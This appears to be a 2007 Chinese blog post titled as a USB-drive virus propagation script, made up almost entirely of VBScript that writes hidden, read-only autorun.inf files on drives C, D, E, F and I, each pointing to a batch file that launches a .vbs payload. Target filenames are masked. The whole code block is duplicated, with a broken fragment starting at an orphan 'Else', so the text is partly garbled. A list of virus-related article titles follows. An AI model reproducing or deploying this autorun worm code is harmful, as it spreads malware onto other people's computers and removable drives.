vbsU盘传播病毒
2007-08-24 15:00
253 查看
If fso.FileExists("C:/autorun.inf") Then
Set objFolder = fso.GetFile("C:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>C:/autorun.inf"_
&"&& echo open=XXXXXXX.bat >>C:/autorun.inf"_
&"&& echo shellexecute=XXXXXXXX.bat >>C:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXXXX.bat>>C:/autorun.inf"_
&"&& echo shell=Auto>>C:/autorun.inf"_
&"&& attrib +h +s +r C:/autorun.inf"
set autobatc=fso.createtextfile("c:/XXXXXX.bat",1,ture)
autobatc.writeline("XXXXXX.vbs")
End If
If fso.FileExists("D:/autorun.inf") Then
Set objFolder = fso.GetFile("D:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>D:/autorun.inf"_
&"&& echo open=XXXXXXX.bat >>D:/autorun.inf"_
&"&& echo shellexecute=XXXXXX.bat >>D:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXXX.bat>>D:/autorun.inf"_
&"&& echo shell=Auto>>D:/autorun.inf"_
&"&& attrib +h +s +r D:/autorun.inf"
set autobatd=fso.createtextfile("D:/XXXXX.bat",1,ture)
autobatd.writeline("XXXX.vbs")
End If
If fso.FileExists("E:/autorun.inf") Then
Set objFolder = fso.GetFile("E:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>E:/autorun.inf"_
&"&& echo open=XXXXX.bat >>E:/autorun.inf"_
&"&& echo shellexecute=XXXXX.bat >>E:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXX.bat>>E:/autorun.inf"_
&"&& echo shell=Auto>>E:/autorun.inf"_
&"&& attrib +h +s +r E:/autorun.inf"
set autobate=fso.createtextfile("E:/XXXXX.bat",1,ture)
autobate.writeline("XXXXXX.vbs")
End If
If fso.FileExists("F:/autorun.inf") Then
Set objFolder = fso.GetFile("F:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>F:/autorun.inf"_
&"&& echo open=NXXXX.bat >>F:/autorun.inf"_
&"&& echo shellexecute=XXXXXX.bat >>F:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXX.bat>>F:/autorun.inf"_
&"&& echo shell=Auto>>F:/autorun.inf"_
&"&& attrib +h +s +r F:/autorun.inf"
set autobatf=fso.createtextfile("F:/XXXXX",1,ture)
autobatf.writeline("XXXXXX.vbs")
End If
If fso.FileExists("I:/autorun.inf") Then
Set objFolder = fso.GetFile("I:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>I:/autorun.inf"_
&"&& echo open=XXXXX.bat >>I:/autorun.inf"_
&"&& echo shellexecute=XXXXX.bat >>I:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXXX.bat>>I:/autorun.inf"_
&"&& echo shell=Auto>>I:/autorun.inf"_
&"&& attrib +h +s +r I:/autorun.inf"
set autobatf=fso.createtextfile("I:/XXXXX.bat",1,ture)
autobatf.writeline("XXXXXXX.vbs")
End If
Set objFolder = fso.GetFile("C:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>C:/autorun.inf"_
&"&& echo open=XXXXXXX.bat >>C:/autorun.inf"_
&"&& echo shellexecute=XXXXXXXX.bat >>C:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXXXX.bat>>C:/autorun.inf"_
&"&& echo shell=Auto>>C:/autorun.inf"_
&"&& attrib +h +s +r C:/autorun.inf"
set autobatc=fso.createtextfile("c:/XXXXXX.bat",1,ture)
autobatc.writeline("XXXXXX.vbs")
End If
If fso.FileExists("D:/autorun.inf") Then
Set objFolder = fso.GetFile("D:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>D:/autorun.inf"_
&"&& echo open=XXXXXXX.bat >>D:/autorun.inf"_
&"&& echo shellexecute=XXXXXX.bat >>D:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXXX.bat>>D:/autorun.inf"_
&"&& echo shell=Auto>>D:/autorun.inf"_
&"&& attrib +h +s +r D:/autorun.inf"
set autobatd=fso.createtextfile("D:/XXXXX.bat",1,ture)
autobatd.writeline("XXXX.vbs")
End If
If fso.FileExists("E:/autorun.inf") Then
Set objFolder = fso.GetFile("E:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>E:/autorun.inf"_
&"&& echo open=XXXXX.bat >>E:/autorun.inf"_
&"&& echo shellexecute=XXXXX.bat >>E:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXX.bat>>E:/autorun.inf"_
&"&& echo shell=Auto>>E:/autorun.inf"_
&"&& attrib +h +s +r E:/autorun.inf"
set autobate=fso.createtextfile("E:/XXXXX.bat",1,ture)
autobate.writeline("XXXXXX.vbs")
End If
If fso.FileExists("F:/autorun.inf") Then
Set objFolder = fso.GetFile("F:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>F:/autorun.inf"_
&"&& echo open=NXXXX.bat >>F:/autorun.inf"_
&"&& echo shellexecute=XXXXXX.bat >>F:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXX.bat>>F:/autorun.inf"_
&"&& echo shell=Auto>>F:/autorun.inf"_
&"&& attrib +h +s +r F:/autorun.inf"
set autobatf=fso.createtextfile("F:/XXXXX",1,ture)
autobatf.writeline("XXXXXX.vbs")
End If
If fso.FileExists("I:/autorun.inf") Then
Set objFolder = fso.GetFile("I:/autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>I:/autorun.inf"_
&"&& echo open=XXXXX.bat >>I:/autorun.inf"_
&"&& echo shellexecute=XXXXX.bat >>I:/autorun.inf"_
&"&& echo shell/Auto/command=XXXXXX.bat>>I:/autorun.inf"_
&"&& echo shell=Auto>>I:/autorun.inf"_
&"&& attrib +h +s +r I:/autorun.inf"
set autobatf=fso.createtextfile("I:/XXXXX.bat",1,ture)
autobatf.writeline("XXXXXXX.vbs")
End If
相关文章推荐
- 关于病毒扩散与传播的控制模型
- 谷歌首页徽标可传播病毒
- Windows的AutoRun.inf文件是近期木马、病毒传播的罪魁祸首
- 专家提醒当心病毒利用数码相机传播
- 01.21病毒预警:土匪虫劫持安全软件借共享目录传播
- 破坏病毒传播的链条
- 2017黑客大预言:病毒传播,无人机成炸弹
- 病毒在网络上传播的基本途径分析
- 慎防木马团伙利用“洗澡门”网络传播病毒
- ***借春运之际大肆传播病毒敛财
- 质量糟糕的代码会在项目中像病毒一样传播,尽量在源头控制好代码质量、强调范例的重要性
- 新病毒仿"熊猫烧香" 利用 Vista系统漏洞疯狂传播
- 病毒伪装成ZIP压缩包图表 利用U盘传播病毒
- 局域网网中的病毒传播
- 通过U盘传播的“病毒”
- QQ大盗病毒传播技术分析报告及防范(图)
- QQ存在重大漏洞,用户可以群发小广告,传播病毒
- 新病毒仿"熊猫烧香" 利用 Vista系统漏洞疯狂传播
- 基于U盘传播的简单病毒